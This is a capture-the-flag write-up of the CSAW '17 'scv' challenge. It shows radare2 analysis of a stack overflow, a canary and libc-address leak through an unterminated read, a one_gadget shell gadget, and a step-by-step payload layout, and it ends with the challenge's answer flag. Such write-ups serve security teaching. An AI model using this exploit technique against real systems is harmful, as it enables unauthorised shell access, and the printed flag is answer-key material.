Tags: rop stack radare2 binaryexploitation stack_canaries overflow 

Rating:

# CSAW '17
## scv (pwn 100)

https://ctf.csaw.io/challenges#scv

> SCV is too hungry to mine the minerals. Can you give him some food?

> `nc pwn.chal.csaw.io 3764`

### Recon

We are provided with the remote connection details, a binary `scv`, and a library `libc-2.23.so`. The library is probably the build of libc that is running on the remote server, which means if we can locate its address at runtime, we can potentially perform a ret2libc attack using ROP.

When we run the binary, we are greeted with an friendly interface:
```
$ ./scv
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>
```
We can choose any one of these functions and it will do what it says:
```
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>abcdefgh
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
abcdefgh
"`
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>3
[*]BYE ~ TIME TO MINE MIENRALS...
```
So this program accepts input from the user, allows the user to read that data back, and quit the program. What's interesting is that it printed some garbage after the input, which means they don't properly terminate the string when they read it from the user. We can potentially leak some interesting information from that.

Now let's open the program in radare, analyze how it works, and see if we can make sense of the garbage after our input:
```
$ r2 scv
> aaa
> s main
> pdf
```
At the top, we see our stack variables:
```
| ; var int local_bch @ rbp-0xbc
| ; var int local_b8h @ rbp-0xb8
| ; var int local_b4h @ rbp-0xb4
| ; var int local_b0h @ rbp-0xb0
| ; var int local_8h @ rbp-0x8
```
We'll eventually figure out what all of these are for. Let's go to where the main loop starts:
```
| 0x00400aec c78544ffffff. mov dword [local_bch], 0
| 0x00400af6 c78548ffffff. mov dword [local_b8h], 1
| 0x00400b00 c7854cffffff. mov dword [local_b4h], 0
| ; JMP XREF from 0x00400dc0 (main)
| .-> 0x00400b0a 83bd48ffffff. cmp dword [local_b8h], 0
| ,==< 0x00400b11 0f84ae020000 je 0x400dc5
```
Okay, so we can identify `local_b8h` as a sentinel value for this loop that will break execution when it is set to 0. Let's now go to the code where it accepts user input:
```
| ||||| 0x00400cba 488d8550ffff. lea rax, qword [local_b0h]
| ||||| 0x00400cc1 baf8000000 mov edx, 0xf8 ; 248
| ||||| 0x00400cc6 4889c6 mov rsi, rax
| ||||| 0x00400cc9 bf00000000 mov edi, 0
| ||||| 0x00400cce e82dfcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| ||||| 0x00400cd3 89854cffffff mov dword [local_b4h], eax
| ,======< 0x00400cd9 e9e2000000 jmp 0x400dc0
```
Okay, so the program uses a call to `read` to read our input. Our input buffer is located on the stack at `local_b0h`, which is 0xa8 (168) bytes long. Here, we run into the same vulnerability that was present on pilot: the maximum length is set to 0xf8 (248) bytes, which is much longer than our buffer! This is most likely the intentional bug that will allow us to overwrite the return address of `main`. If we also look up the [documentation](http://www.cplusplus.com/reference/istream/istream/read/) of `read`, we figure out why we got some garbage data:

> Extracts n characters from the stream and stores them in the array pointed to by s.

> This function simply copies a block of data, without checking its contents **nor appending a null character at the end.**

So, the program is writing our input to the buffer without a null terminator. This can be used to potentially leak almost anything above it on the stack!

Now let's check out the code that outputs the buffer to the stream:
```
| ||| || 0x00400d6a 488d8550ffff. lea rax, qword [local_b0h]
| ||| || 0x00400d71 4889c7 mov rdi, rax
| ||| || 0x00400d74 e857fbffff call sym.imp.puts ; int puts(const char *s)
| |||,===< 0x00400d79 eb45 jmp 0x400dc0
```
According to the [documentation](http://www.cplusplus.com/reference/cstdio/puts/) of `puts`, the function will output data to the stream until a null character is reached. This confirms that we can leak data from the stack.

Okay, our last important path of execution is exiting the program:
```
| ||`----> 0x00400d7b c78548ffffff. mov dword [local_b8h], 0
; cout << ("[*]BYE ~ TIME TO MINE MIENRALS...")
| ||,====< 0x00400da1 eb1d jmp 0x400dc0
```
This does just as we would expect; it sets our sentinel value to 0, so on the next iteration of the loop, execution will jump to the end of the `main` function:
```
| `--> 0x00400dc5 b800000000 mov eax, 0
| 0x00400dca 488b4df8 mov rcx, qword [local_8h]
| 0x00400dce 6448330c2528. xor rcx, qword fs:[0x28]
| ,=< 0x00400dd7 7405 je 0x400dde
| | 0x00400dd9 e872fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x00400dde c9 leave
\ 0x00400ddf c3 ret
```
So the value of `local_8h` is a canary to prevent overwriting the return address of main. The rest of this is a standard `leave ; ret` that frees the current stack frame and returns to the caller.

### Exploit

Let's review what we know.

- The program accepts our input, writes it to a buffer, and allows us to access it later. However, that data is not terminated by a null character when it is written, so we can use it to leak data on the stack.
- We have a buffer overflow exploit that is capable of overwriting the return address.
- There is a canary just above our buffer that is used to prevent buffer overflows. However, remember that we have a data leak vulnerability as well. If we can leak that canary value, we will be able to append it to our payload and prevent it from being damaged.
- Unfortunately, we don't receive the address to our buffer, and a quick check with the `i~nx` command in radare2 tells us that the NX bit is set for this program, so we wouldn't be able to execute the stack anyway, so shellcodes aren't viable. Instead, we may have to rely on ROP gadgets.
- We are provided with the libc that is loaded on the remote machine, so that gives us a large search space for potential ROP gadgets if we can somehow leak a known location in libc.

Reopen `scv` in debugging mode, we're going to analyze what we can leak on the stack.
```
$ r2 -d scv
> aaa
> pdf @main
```
Let's set a breakpoint right where the initial loop starts and continue to it:
```
> db 0x00400b0a
> dc
```
Now let's read what the stack looks like:
```
> px @rsp
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffc761aea60 0000 0000 0000 0000 0100 0000 0000 0000 ................
0x7ffc761aea70 8020 6000 0000 0000 f922 6000 0000 0000 . `......"`.....
0x7ffc761aea80 3009 4000 0000 0000 3009 4000 0000 0000 [email protected].@.....
0x7ffc761aea90 8020 6000 0000 0000 2a87 8a92 dc7f 0000 . `.....*.......
0x7ffc761aeaa0 0100 0000 0000 0000 d0ea 1a76 fc7f 0000 ...........v....
0x7ffc761aeab0 f81d 6000 0000 0000 1b0e 4000 0000 0000 ..`.......@.....
0x7ffc761aeac0 d0eb 1a76 fc7f 0000 ffff 0000 0100 0000 ...v............
0x7ffc761aead0 e0ea 1a76 fc7f 0000 310e 4000 0000 0000 ...v....1.@.....
0x7ffc761aeae0 0200 0000 0000 0000 8d0e 4000 0000 0000 ..........@.....
0x7ffc761aeaf0 ffff ffff 0000 0000 0000 0000 0000 0000 ................
0x7ffc761aeb00 400e 4000 0000 0000 a009 4000 0000 0000 @.@.......@.....
0x7ffc761aeb10 00ec 1a76 fc7f 0000 00eb 9169 9b99 6398 ...v.......i..c.
0x7ffc761aeb20 400e 4000 0000 0000 6a1f 8992 dc7f 0000 @[email protected].......
0x7ffc761aeb30 0000 0000 0000 0000 08ec 1a76 fc7f 0000 ...........v....
0x7ffc761aeb40 0000 0000 0100 0000 960a 4000 0000 0000 ..........@.....
0x7ffc761aeb50 0000 0000 0000 0000 bca9 c859 5d8f 1235 ...........Y]..5
```
Looks familiar; this is what our stack looks like before our data goes in. At 0x7ffc761aeb18 is `rbp - 8`, which we know is our canary value. If we re-run the program several times, we notice that the canary almost always starts with a null byte (0x00), which seems troublesome. However, if we overwrite that null byte, we can safely assume that it will probably be null, so we can bypass it, read the rest of the canary value, and prepend it later. When we put this back onto the stack, we won't have to worry about the null bytes; `read` ignores them.

We'll need to send 0xa9 (169) bytes, but remember, newline counts as one. So let's continue the program and send 0xa8 bytes of padding:
```
> dc
Selecting and continuing: 23263
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
hit breakpoint at: 400b0a
```

Now if we read our buffer back, we should get our canary:
```
> dc
Selecting and continuing: 23263
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
��i��c�@@
hit breakpoint at: 400b0a
```
It's hard to recognize patterns in junk encoded into ASCII, but we can definitely see 2 printable characters that are also in our hexdump. Looks like that is successful.

The next thing that we need to find is an address to a location inside of libc. Probably the easiest way is to examine the backtrace of `main`. It should at least contain a reference to `__libc_start_main`. We can rely on the return address of the libc function to always point to the same location in libc, so we can create an offset from that:
```
> dbt
0 0x400b0a sp: 0x0 0 [main] rip main+116
1 0x7fdc92891f6a sp: 0x7ffc761aeb28 200 [??] section_end..bss-1842807702
2 0x4009c9 sp: 0x7ffc761aebe8 192 [??] entry0+41
```
The first column of addresses looks like standard locations for code inside our program, except for the second one. Let's examine where that return address points, and see if we can find it inside our libc:
```
> pd 20@0x7fdc92891f6a
0x7fdc92891f6a 89c7 mov edi, eax
0x7fdc92891f6c e84f650100 call 0x7fdc928a84c0
0x7fdc92891f71 488b05f85639. mov rax, qword [0x7fdc92c27670] ; [0x7fdc92c27670:8]=0
0x7fdc92891f78 48c1c811 ror rax, 0x11
0x7fdc92891f7c 644833042530. xor rax, qword fs:[0x30]
0x7fdc92891f85 ffd0 call rax
0x7fdc92891f87 488b05d25639. mov rax, qword [0x7fdc92c27660] ; [0x7fdc92c27660:8]=0
0x7fdc92891f8e 48c1c811 ror rax, 0x11
0x7fdc92891f92 644833042530. xor rax, qword fs:[0x30]
0x7fdc92891f9b f0ff08 lock dec dword [rax]
0x7fdc92891f9e 0f94c2 sete dl
0x7fdc92891fa1 84d2 test dl, dl
,=< 0x7fdc92891fa3 752f jne 0x7fdc92891fd4
| 0x7fdc92891fa5 ba3c000000 mov edx, 0x3c ; '<' ; 60
| 0x7fdc92891faa 660f1f440000 nop word [rax + rax]
.--> 0x7fdc92891fb0 31ff xor edi, edi
|| 0x7fdc92891fb2 89d0 mov eax, edx
|| 0x7fdc92891fb4 0f05 syscall
`==< 0x7fdc92891fb6 ebf8 jmp 0x7fdc92891fb0
| 0x7fdc92891fb8 488b442408 mov rax, qword [rsp + 8] ; [0x8:8]=-1 ; 8
```

Let's open libc and search for these instructions:
```
$ r2 /usr/lib/libc.so.6
> e search.from = 0
> /x 89c7e84f650100
Searching 7 bytes in [0x0-0x3b68d0]
hits: 2
0x00020f6a hit0_0 89c7e84f650100
0x001d3f62 hit0_1 0000000000000d
> pd 20@hit0_0
;-- hit0_0:
0x00020f6a 89c7 mov edi, eax
0x00020f6c e84f650100 call sym.exit
0x00020f71 488b05f85639. mov rax, qword [0x003b6670] ; [0x3b6670:8]=0xfff10004000018ba
0x00020f78 48c1c811 ror rax, 0x11
0x00020f7c 644833042530. xor rax, qword fs:[0x30]
0x00020f85 ffd0 call rax
0x00020f87 488b05d25639. mov rax, qword [0x003b6660] ; [0x3b6660:8]=0
0x00020f8e 48c1c811 ror rax, 0x11
0x00020f92 644833042530. xor rax, qword fs:[0x30]
0x00020f9b f0ff08 lock dec dword [rax]
0x00020f9e 0f94c2 sete dl
0x00020fa1 84d2 test dl, dl
,=< 0x00020fa3 752f jne 0x20fd4
| 0x00020fa5 ba3c000000 mov edx, 0x3c ; section_end..gnu.warning.inet6_option_alloc ; u"GF\x06"
| 0x00020faa 660f1f440000 nop word [rax + rax]
.--> 0x00020fb0 31ff xor edi, edi
|| 0x00020fb2 89d0 mov eax, edx
|| 0x00020fb4 0f05 syscall
`==< 0x00020fb6 ebf8 jmp 0x20fb0
| 0x00020fb8 488b442408 mov rax, qword [rsp + 8] ; sym.__resp ; [0x8:8]=0
```
Hey, check that out! The return address from `main` actually points to a location in libc! We can use its offset location (0x00020f6a) to determine the global libc offset.

Let's go back to the debugging session and see if we can leak the return address. It will take 0xb8 (184) characters to overflow. Subtract 1 for the newline character, and that's our new payload. In the actual exploit, we will need to include the canary as part of the payload, but for now, we won't worry about that:
```
> dc
Selecting and continuing: 23263
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
hit breakpoint at: 400b0a
> dc
Selecting and continuing: 23263
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
?���
hit breakpoint at: 400b0a
```
Looks like it works! We still have 0x40 (64) bytes to use for a ROP payload.

Now we need to figure out what ROP gadgets we need in order to spawn a shell. At first, I was using [ROPgadget](http://shell-storm.org/project/ROPgadget/) to form my own ROP chain, but after several hours, I still had no luck. At this point, the competition was over, and I put this challenge aside for a little while and rested.

When I resumed the search, I completely accidentally stumbled upon a tool called [one_gadget](https://github.com/david942j/one_gadget/) that can find gadgets that spawn a shell. Very quickly. Some of them have constraints that require certain values on the stack or elsewhere; however, that can easily be accommodated. Running it on the local `libc.so` unfortunately didn't return any results; however, I found something more interesting on the remote lib:
```
$ one_gadget libc-2.23.so
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
```
That first gadget looks perfect for our constraints! We have complete control of the stack, and putting a NULL word 0x30 (48) bytes past our return address fits too perfectly into the size we are allotted. With that, our final payload is going to be exactly 0xf8 bytes.

Here's the final list of steps we need to perform an exploit:

1. Send 0xa8 bytes of padding to the server, followed by a new line.
2. Read back the buffer, and store the leaked canary (remember to restore the leading null byte).
3. Send 0xb7 bytes of padding to the server plus a new line.
4. Read back the buffer, and store the leaked return address (last two bytes (MSB) will be null and therefore not sent. Keep that in mind).
5. Compute the global offset of libc by subtracting the offset we found earlier (0x00020f6a) from the return address.
6. Modify our ROP chain; add the global offset to the libc address.
6. Send the final payload: 0xa8 bytes of padding + canary value + 8 bytes of padding + ROP chain + 0x30 bytes of padding + 8 bytes of NULL (0x00)
7. Tell the program to exit.
8. Profit! `cat flag`

### Solution

The exploit is implemented in [`exploit.py`](https://gitlab.com/AGausmann/ctfs/blob/master/2017/csaw/scv/exploit.py), with hooks to a local process, a local socket, and a remote socket. I have also included a [rarun2 script](scv.rr2) that binds the program stdin/stdout to the same local socket so that you can run the exploit in a radare debugging session and see it in action. The various connections are controlled by the `rc` variable in `exploit.py`. Just uncomment whichever `rc = ...` line you need.

Flag: `flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}`

Original writeup (https://gitlab.com/AGausmann/ctfs/tree/master/2017/csaw/scv).